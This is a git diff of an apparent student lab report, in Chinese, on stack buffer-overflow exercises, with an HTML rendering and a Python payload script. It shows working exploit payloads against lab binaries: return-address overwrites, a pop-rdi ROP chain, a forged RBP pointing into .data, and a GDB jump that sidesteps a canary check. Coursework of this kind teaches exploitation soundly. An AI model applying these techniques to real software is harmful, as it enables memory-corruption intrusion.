zh8Dhp`4IANcG|oW>q=J}>q5QmGVSnEfGD7qwy6i+7|WO2I!5 zluUUZehSvumyor*D6fI$nI8$Bmzpy903h=)UfVxZU!lYs8Ka~=vJk4G!bR|9=KrS6 z!pL;N70mQtK!RxV$r6SIz;xN+R83A{@!pd;?H&vN*)wle5HEa!Hf(AX(-s+L1*XR; zET)Qd9+p=G$)Ieb>dw~ExZRMzocucL+}6iGW_F;di}zQ+WhVDvjB-(FmSD8@%7o8J zowbBxrQ@W(sA}IQ1n@)GX@)*ymsTK^y4BXtCH%ytitxemzS zymNy(SLcOW`f{jS6-MesaR-~;Xp^bx_ycolb`MIV9LCU?M}% zTS0}3&ZiT7_F3bUx2`@j_-N6`PoX(g?y=utR|oTXE|U!wciKjGB9z?4hW54`qVs3U zRhaNiZR3e-c>BiHDyM7&0kVtNuA`h|=vSmJ+F3`MLnj*Fb<4t* z*R^R~e6k*U`+ab{^Jib7o=A=@G$sbqe3`vd5u|dP^_5DkqzfjY8_+3$<*1s&!{YIl=4CBZ zPs!boR>cN%c5vUAM{xaVZ`FG;{P?7EC!V7TJ>G5H3?^c3tH)@$c>)sz8+@XE6mlmX zRL&Ng?O)EaXH+H}Cd$74M2-RC!DZOSE7vYLc#oW$mtC=yO$KyR#I|M!ztoVTqYJVW zT=bOfrIZrlO`91oPZ?<6o%BW#^om zD)Wvmf&b*j`mjjs_hf;fagOT#aeXYWHOVu3JD1dWjA_3Lf91rW2H(s(PlT5aea(u`WOUcY5)6-;G z;dmdJx8r$7<(IOSc6#7Xk5d+nVn&Vz5P@=c1sW#!7ZKB;VWBhuPM^X=z;uyL!=%dM z)&)2+isxcIvmsvhjR;s0&=FrMmVSEuQdx&sRyL1YOfscYWPatl4M?9~WM;ROxYhYN zRBKp`MbiRoI)U&cHBtCPrk>eGjy>;55D9)2NuSFeeXGoOB?7K@FHcSin{qMVG~3lH z1q({>!jVJ=W2!5&uzk71xQo^drs=+@`jFSu0cN>bIXPZW+Yk+dNsVPYZMwkc#!}$I z4p3KA?);e@V^_{+V@%afWyOs-1pKMfv;cnn%|l52G`p$SI2BU@((fi0=_wJT>b0$7 zt!o;#n@$=Yg960Kl1H{es%;j(+}=|!6lsSAyz5lsu6WYLdd>lIKW~f*DiB zL*9BsB{xVw$M4-z4%S=8W>STjHU5P38`w!7ZK<)e7=vVbx*Vph_GQn~LD^OIjq?_F-lB(yrLDR-6(GGy(#LNnm7w zYcvhBeR{<-7$Sn;pfZCY;_tj=*Fb}A{m3S9RMoTcpmf{e8KaCytvrViEF*Xb3%C^C z2iNtr964ANZe}vP?|WqyHqItZeKFaQVtlgisvZ-WIO`H%NjQ0k%eS_mo>QI=;n08D zAyiG`QMzzRw9L$kHUTzne1`kN6=?%=(Nxm;#+soBxer9)pQ^sy-BCZ&7sx{7Fg{Zu zFrN7~hM7)#9*C+2SAISU10I)f21wpYPnPu=l_YZsorgYQ1Jgx=npJ$6`KPtTwg8K{ zrDj6qd+FU#q6j~`VqB)A2WUIl{C_IKUqw|a|45k1Qj_dOry^KHcYwf7coy$3ez zw%tQe!V&x6G~5}vxiRG3lG2qxE{hq(YRG@u=YMFp^wqo(E({ABoDuaXT|V|aACJ?_ zdILOnY+~DakadiyJoK+l-?_~;yaC5AR32mM%yy+VUWT5RK{S zUAog++)uB+$!!`gMMs{8dU;B8ZIT4pE^8oyl9ZzaMt zG1tHH$l)KZM0f63e3zS+lE{$M2Bj#^lNN5^ z5lq4Q7bfPq&^2evUPQQ9^fwPdrpwFVH5afp(hQW!e2uFtJJYQXS9SM1DtO=T>K2>$ zae9ur!E)YTNS#=JBz#$rH{*%9hNYo)Z3^~%Xn4hfuK4d7oW$)eTlW>cd`i3mn6j9P zjbFDHaIL+C)Iu{GI_1aH2m5K8VKG8f$=~| zSqQqjeLe?IN*VFE@350xg&N)Je$)WBywMj2{)3f`coh5636yf0+uimT+z-x0DALh} zlm3PKA9Q8G_k&wWE5<;(Ir{fSi$ki`+Y)k?la;hs_7_c+mK*^hv`0o9oOqBC{JezA zIEVlF{7`D_0PoK0x}woK18}!Ov)33_dodS8ybl!ozYfaM)6)f?Q2+PrGHe9x&n|dp zuWNLiP0aK&(Qk*CT8KHzXz-*IL&LS+|CV7dH8JA<1=Qkh!wH`+GBm z3qb?6>{+lreE8%q{6X$fFRtIC0&+@mc|kdK$jF&!x0y*##h>@fw4Y9=bGk_jvQ}To zFQqAz&xlxGDIpyiM^xnQ;N5k4vavHdh6?taYRKe!1E#w<8%zjX4d7?|msoq~aHPVm znMC%NQWHB>z_8I{cwGP5eplU|vA_b)V1|bJuJUj{H32w%qKzR7M7uzBHhR+JIo}U+ z2siCtwuV(tOh^eU6ODzYKuJaCBCzt*eo~c+siRpxXE`U~JUpt^xn~xPlYxu~f~9%v zV{u-D=Xxlp#%|59nks!7aE7Py6`NKSiF;4F{-eZ0^iRTv#I?ug&LAio_TUDA$~x)l z`OqxXa5D)fmq17`8bVwiYISrs*_CQT`%&4dD;e9x$r>67jE1BXuc#1jNv?3qi)=m& z)6DIA#A%BytfMn{Eg})nh79QJB@b@xTG?3HbNws(tWnf{u8iXUFS&8UTG%u0YJRYG z_ThyMaV*R&&ge12DdqWUax3Pi$rH<1=tk~TyVoc!!{Bw=CZU+TNQGAuB=p+??{~3- z(pJvr5^3(&DA!%SCxyiCUEN&zcOebp$5(Bq3>~{p_CbPSTOKe|&Czw%ksaAZ;GuWd zpkt2xu&(hGV&Dd!eE@pi=r^||jxjPHH)dS)Ka=BgpWxGl4}n64NCecJyfO>HV+LEeP}I|WGKKHc zdVXBQ=E-ibNgFX*b`9C@+A|i8e1bVZ()>`?jldp0>4Jtk4@Vdv46;M_Cl$FCwYz*TsKi z>{LWeWF2)_<~JDN%$cOHWWS1zG^zS?1X0EM7xExX#vFZWeTOO~7_mIzvmF|&$a z;+$1zFrfeyQNkqPZG*RaEeL3uGP zoF|!#(<+yKDNS#=o)j&ZgA4Pcl1GIaBTfG3>b!lXz&}ZP`Hz8#8Ln~6*#>+A8(*Q< z})qEMitt&;+VKFXZ;B)B&!pzL}!jmHkgu-CXU9<-hr366Y zr2#cWx677FFeFM-Y*>~9T_T9LY&ni@gkVBN_QG10ZzSF4(LKZr@Ljc-WxHrw(Pn=w z;O6AU-DJhci7TIwglRDPk5KG+JyJsv&G|qiL|=p{K<-CVNPW4y7f=MUjCwC^52l>vM}IYv(NZP ziKw-pUbV}<$fG7g^X%!iG%J+AvK0@?=cX~lX4)V?jl1Mv#ddd0yD_JLi&V^ptq>AT zIPfuJ^vc!C>#;{5^wHo&R90kpT?Ty>u^M)k%o|9F4O<6WHq=_Ny{;q-L!xE3QS5F2 zHZ@3fj>jl}lFTMr#eFriWas{Ie)n7w9iXn$IOE9n&|-}XrP|A*eE4vxujwM;!Ql4C zyC2@JDNtaqzuf^{?@YXEp1ffo7>pNKl09A1|G_L`p?_l*sxlF7Uio38j`WtE0}c`k za3g5gmw=?U{D=~Lw=PU5u~i#txMi3w<*-o#=2h6+kl0Rz5VCX*Dr>rTV9@>ra_)%Z zm8sXe%}!L`0QJ8C@72Os;2TOY5tMN%R1-HL#+;-r>bq6krJl0NDxHF_81b!5NX}Jf zy)3RhKWj?ixyZg^2XIN|?${PA9xf9Usmz@lA_#;|rFDtae59-(Lj{Tz>Iw&AddH=F zNw}RoTOF#S7%9iyBz~A{)OYhi{ys(Fq6Ff{^LCCx<|BKHR6e{dggAC9f(MJHXY%oj z#1M_Oo*o{1IrJj1wgk-a1I~MNiggb`W>(o$igO_D$O&beB3aaT6K0x~9r!h7MV-!Z zWg6fu(q=q=X`Tp)%Pc;&Kd#4;A=p0@hVR-u2Y=*28EEJD3;mf_T=t~Odp^y3)Doz| z-ur)$9=L2pLu2Y9CTUvu+9TH7sfT7~+{!YDzsN(d=a^tN{5=)~!@5flA%l}&mj4_zqU6?nS$1nKl(}J_H+_bEv>>=~q~#!GoF*Wf z(Rsp^BGxmAeGIL#v-tg?lp7|T%!gO-ZrK0gNz$FN+($s=+HeYjXSng z)pJA^KS11>9_K+rxxbIn^b{N za7iPn$(Z`8+?GF!9D2aRJP;w9#4uHa3a4l>h4&r;7hI>hUg;^Vw~1;RlI)PzvcoJ$NkHSk|;t3t}%9Y_VXu#suFL&dtxPq0+2Vm zWOvI8I4GmY7y?< zw66lc3Kfgq5Kd+;S!RM!7EYD(H8g-0mW>Paj5Komaj&G5;583}ykM28@<50#|o&L8tdO(I+UXw3{@T-|`Y3yNe|v zo6%RivA)@f`IiTb}(a`JC4D!Jr)-N9LDMwx-tJZ6bxyb2IG zc(q)Olq8ess+AMr+E5DnG^$D-w@tGCoEv*y{UQB)BvQDAjah`qvor0mP6z6aSWtQZ zNZMAQ_;alwKpfZ7tXxMJ187Pm$BHddF*n=t4glgQjVSa?!E3J6OUT9LC>1o2zeG1H z?S|RU+am)U}j^TD{PH(s&lOG|D{YgrnVsxj#LQ8?*9eApXI=;xLWxb>zi zb_6|EE_&|-oc1pY`Ci>e?!Q@~b2D{4fpHI=C);lR?t!}y&sCQru z`$lG99;TXm*2zYtsgYgreZ_M-9mzHZ{Wk?iGq#Q0?Im35sDptSSq486>Zf}#$*jMm z_O`=%@*!?4i1=-4tA{z&P`bc`#x8K{)4&(F0|3OPgz!ftFeNe>XFao93&*{8Kyc}` zLBo~ZtCQ1J7)cD}BsAof1X;?wO-a3UVzKUCZ}&4In&e?-Ym~=^m@43E(H*rJ4C?9W z=)%^%>jA$B!ORJ;b3A@hZBbnhj#Pw~cU6rfyjXaMZhTb)T9*@e>+Liy$wYOcI$n~2 z%KVs7u3me-Zhz1|>Y8;=(4JtIDDRtr^Z%aPW4hka zuXg-{A>KXvN1AN73psP*M$2B#o)Liw9-F@+amGzr2%0>B>$ M5n16PK|SC91K9QF#Q*>R literal 0 HcmV?d00001 diff --git a/reports/report.md b/reports/report.md index 31602c7..2e108f6 100644 --- a/reports/report.md +++ b/reports/report.md @@ -21,7 +21,7 @@ ```python padding = b'A' * 16 # 填满 Buffer 和 RBP addr = (0x401216).to_bytes(8, 'little') # func1 地址转为小端序 - # 写入文件... + ``` **Payload 二进制视图**: @@ -42,7 +42,7 @@ 401222: 89 7d fc mov %edi,-0x4(%rbp) 401225: 81 7d fc f8 03 00 00 cmpl $0x3f8,-0x4(%rbp) # 检查参数 ``` - 2. **技术难点**:x86-64 架构下参数通过寄存器传递(Arg1 在 `%rdi`)。仅通过栈溢出覆盖返回地址无法直接修改寄存器,需使用 **ROP (Return Oriented Programming)** 技术。 + 2. **技术难点**:x86-64 架构下参数通过寄存器传递(Arg1 在 `%rdi`)。仅通过栈溢出覆盖返回地址无法直接修改寄存器,需使用 **ROP** 技术。 3. **寻找 Gadget**:在程序中找到现成的指令片段 `pop %rdi; ret` (位于 `0x4012c7`)。 * 该 Gadget 的作用是将栈顶数据弹出至 `%rdi`,然后返回,从而实现参数赋值。 4. **攻击链构造**: @@ -76,14 +76,47 @@ ### Problem 3: -- **分析**:... -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**: + 1. **确定攻击路径**:我的目标是执行 `func1` 并输出 114。通过 `objdump` 分析 `func1`,发现其在地址 `0x401216` 处会检查 `%edi` 是否为 `0x72`。如果直接跳转到这里,需要通过 Shellcode 设置寄存器,较为繁琐。 + 2. **发现捷径**:我发现 `func1` 的打印逻辑(即输出 "Your lucky number...")是从地址 `0x40122b` 开始的。如果直接跳转到 `0x40122b`,就可以跳过开头的参数检查指令。 + 3. **遇到的问题**:当我尝试直接覆盖返回地址跳转到 `0x40122b` 时,程序报错(Segfault/Bus Error)。 + 4. **深入分析原因**:`func1` 内部执行了 `mov %rax, -0x40(%rbp)`,试图向栈上写入数据。由于我通过跳转跳过了函数开头的 `push %rbp` 等栈帧初始化操作,此时 `%rbp` 是无效值(被我的 Padding 覆盖成了 `0x4141...`),导致写入非法内存地址。 + 5. **修正方案**:为了修复 crash,我需要在 Padding 中伪造一个合法的 `%rbp`。通过查看反汇编中的全局变量,我发现了地址 `0x403510` 位于可读写的 `.data` 段,且位置固定。 + 6. **计算**:为了让 `func1` 的写入操作 (`rbp - 0x40`) 落在这个安全区域,我构造的伪造 `%rbp` 应为 `0x403510 + 0x40 = 0x403550`。 + + +- **解决方案**: 构造的 Payload 结构为:`[32字节 Padding] + [Fake RBP (0x403550)] + [Target Address (0x40122b)]`。 + +- **结果**: ![Problem 3 Result](333.png) ### Problem 4: -- **分析**:体现canary的保护机制是什么 -- **解决方案**:payload是什么,即你的python代码or其他能体现你payload信息的代码/图片 -- **结果**:附上图片 +- **分析**: + +1. **设置 Canary**: + 在 `func` 函数开头 (地址 `136c`),程序从 `%fs:0x28` 寄存器处读取一个随机生成的 8 字节数值(金丝雀),并将其存储在栈底 `%rbp-0x8` 的位置: + ```asm + 136c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax #取随机值 + 1375: 48 89 45 f8 mov %rax,-0x8(%rbp) #存入栈底 + ``` + + 2. **检查 Canary**: + 在函数准备返回之前 (地址 `140a`),程序从 `%rbp-0x8` 取出该值,并与 `%fs:0x28` 中的原值进行减法对比: + ```asm + 140a: 48 8b 45 f8 mov -0x8(%rbp),%rax # 取出栈上的值 + 140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax # 比较 + 1417: 74 05 je 141e # 若相等则正常返回 + 1419: e8 b2 fc ff ff call 10d0 <__stack_chk_fail@plt> # 否则报错 + ``` + +**结论**:由于死循环逻辑导致难以通过正常溢出触发 Canary 报错,且题目暗示“不需要写代码”,因此我采用动态调试方法直接获取隐藏信息。 + +- **解决方案**:使用 GDB 直接跳转到隐藏函数 `func1`,绕过所有检查逻辑,直接获取通关提示。 + 操作步骤: + 1. 启动调试:`gdb problem4` + 2. 强制跳转:`jump func1` + 3. 获取输出:程序直接打印出隐藏的通关提示 + +- **结果**:![Problem 4 Result](444.png) ## 思考与总结 diff --git a/reports/report_tmp.html b/reports/report_tmp.html new file mode 100644 index 0000000..0bb422c --- /dev/null +++ b/reports/report_tmp.html @@ -0,0 +1,512 @@ + + + +report.md + + + + + + + + + + + + +

栈溢出攻击实验

+

题目解决思路

+

Problem 1:

+
    +
  • 分析
  • +
+
    +
  1. 锁定目标:反汇编发现隐藏函数 func1(地址 0x401216),其包含 puts 调用,确定为跳转目标。
  2. +
  3. 定位漏洞func 函数中 strcpy 存在栈溢出。指令 lea -0x8(%rbp),%rax 表明缓冲区始于 rbp-0x8
  4. +
  5. 计算偏移: +
      +
    • 目标是覆盖 Return Address。
    • +
    • 栈布局:Buffer (8 bytes) -> Saved RBP (8 bytes) -> Return Address
    • +
    • Offset = 8 (Buffer) + 8 (Saved RBP) = 16 字节
    • +
    • 故需填充 16 字节垃圾数据,随后写入 func1 地址。
    • +
    +
  6. +
+
    +
  • +

    解决方案: +Payload 结构为:[16字节 Padding] + [8字节 Address]

    +

    Python 构造逻辑

    +
    padding = b'A' * 16 # 填满 Buffer 和 RBP +addr = (0x401216).to_bytes(8, 'little') # func1 地址转为小端序 + +
    +

    Payload 二进制视图

    +
    00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| +00000010 16 12 40 00 00 00 00 00 |..@.....| +
    +
  • +
  • +

    结果: +Problem 1 Result

    +
  • +
+

Problem 2:

+
    +
  • 分析
  • +
+
    +
  1. 目标约束:目标函数 func2 (0x401216) 会检查第一个参数 %edi 是否等于 0x3f8
    401222: 89 7d fc mov %edi,-0x4(%rbp) +401225: 81 7d fc f8 03 00 00 cmpl $0x3f8,-0x4(%rbp) # 检查参数 +
    +
  2. +
  3. 技术难点:x86-64 架构下参数通过寄存器传递(Arg1 在 %rdi)。仅通过栈溢出覆盖返回地址无法直接修改寄存器,需使用 ROP 技术。
  4. +
  5. 寻找 Gadget:在程序中找到现成的指令片段 pop %rdi; ret (位于 0x4012c7)。 +
      +
    • 该 Gadget 的作用是将栈顶数据弹出至 %rdi,然后返回,从而实现参数赋值。
    • +
    +
  6. +
  7. 攻击链构造: +
      +
    • [Padding 16字节]:填满缓冲区。
    • +
    • [Gadget 地址]:覆盖原返回地址,程序跳转至 pop %rdi
    • +
    • [0x3f8]:作为参数布置在栈上,被 Gadget 捕获放入 %rdi
    • +
    • [func2 地址]:Gadget 执行 ret 后,程序跳转至最终目标。
    • +
    +
  8. +
+
    +
  • 解决方案: +Payload 结构:[Padding] + [Gadget Addr] + [Param Value] + [Target Addr]
  • +
+

Python 构造逻辑

+
padding = b'A' * 16 +gadget = (0x4012c7).to_bytes(8, 'little') # pop rdi; ret +param = (0x3f8).to_bytes(8, 'little') # 参数值 +target = (0x401216).to_bytes(8, 'little') # func2 + +payload = padding + gadget + param + target +
+

Payload 二进制视图

+
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| +00000010 c7 12 40 00 00 00 00 00 f8 03 00 00 00 00 00 00 |..@.............| +00000020 16 12 40 00 00 00 00 00 |..@.....| +
+
    +
  • 结果: +Problem 2 Result
  • +
+

Problem 3:

+
    +
  • 分析
  • +
+
    +
  1. 确定攻击路径:我的目标是执行 func1 并输出 114。通过 objdump 分析 func1,发现其在地址 0x401216 处会检查 %edi 是否为 0x72。如果直接跳转到这里,需要通过 Shellcode 设置寄存器,较为繁琐。
  2. +
  3. 发现捷径:我发现 func1 的打印逻辑(即输出 "Your lucky number...")是从地址 0x40122b 开始的。如果直接跳转到 0x40122b,就可以跳过开头的参数检查指令。
  4. +
  5. 遇到的问题:当我尝试直接覆盖返回地址跳转到 0x40122b 时,程序报错(Segfault/Bus Error)。
  6. +
  7. 深入分析原因func1 内部执行了 mov %rax, -0x40(%rbp),试图向栈上写入数据。由于我通过跳转跳过了函数开头的 push %rbp 等栈帧初始化操作,此时 %rbp 是无效值(被我的 Padding 覆盖成了 0x4141...),导致写入非法内存地址。
  8. +
  9. 修正方案:为了修复 crash,我需要在 Padding 中伪造一个合法的 %rbp。通过查看反汇编中的全局变量,我发现了地址 0x403510 位于可读写的 .data 段,且位置固定。
  10. +
  11. 计算:为了让 func1 的写入操作 (rbp - 0x40) 落在这个安全区域,我构造的伪造 %rbp 应为 0x403510 + 0x40 = 0x403550
  12. +
+
    +
  • +

    解决方案: 构造的 Payload 结构为:[32字节 Padding] + [Fake RBP (0x403550)] + [Target Address (0x40122b)]

    +
  • +
  • +

    结果Problem 3 Result

    +
  • +
+

Problem 4:

+
    +
  • 分析
  • +
+
    +
  1. +

    设置 Canary: +在 func 函数开头 (地址 136c),程序从 %fs:0x28 寄存器处读取一个随机生成的 8 字节数值(金丝雀),并将其存储在栈底 %rbp-0x8 的位置:

    +
    136c: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax #取随机值 +1375: 48 89 45 f8 mov %rax,-0x8(%rbp) #存入栈底 +
    +
  2. +
  3. +

    检查 Canary: +在函数准备返回之前 (地址 140a),程序从 %rbp-0x8 取出该值,并与 %fs:0x28 中的原值进行减法对比:

    +
    140a: 48 8b 45 f8 mov -0x8(%rbp),%rax # 取出栈上的值 +140e: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax # 比较 +1417: 74 05 je 141e # 若相等则正常返回 +1419: e8 b2 fc ff ff call 10d0 <__stack_chk_fail@plt> # 否则报错 +
    +
  4. +
+

结论:由于死循环逻辑导致难以通过正常溢出触发 Canary 报错,且题目暗示“不需要写代码”,因此我采用动态调试方法直接获取隐藏信息。

+
    +
  • +

    解决方案:使用 GDB 直接跳转到隐藏函数 func1,绕过所有检查逻辑,直接获取通关提示。 +操作步骤:

    +
      +
    1. 启动调试:gdb problem4
    2. +
    3. 强制跳转:jump func1
    4. +
    5. 获取输出:程序直接打印出隐藏的通关提示
    6. +
    +
  • +
  • +

    结果Problem 4 Result

    +
  • +
+

思考与总结

+

参考资料

+

列出在准备报告过程中参考的所有文献、网站或其他资源,确保引用格式正确。

+ + + diff --git a/solve3.py b/solve3.py new file mode 100644 index 0000000..0bc15d3 --- /dev/null +++ b/solve3.py @@ -0,0 +1,13 @@ +import sys + +buffer_padding = b'A' * 32 + +fake_rbp = (0x403550).to_bytes(8, 'little') + +target_address = (0x40122b).to_bytes(8, 'little') + +payload = buffer_padding + fake_rbp + target_address + +with open("ans3.txt", "wb") as f: + f.write(payload) +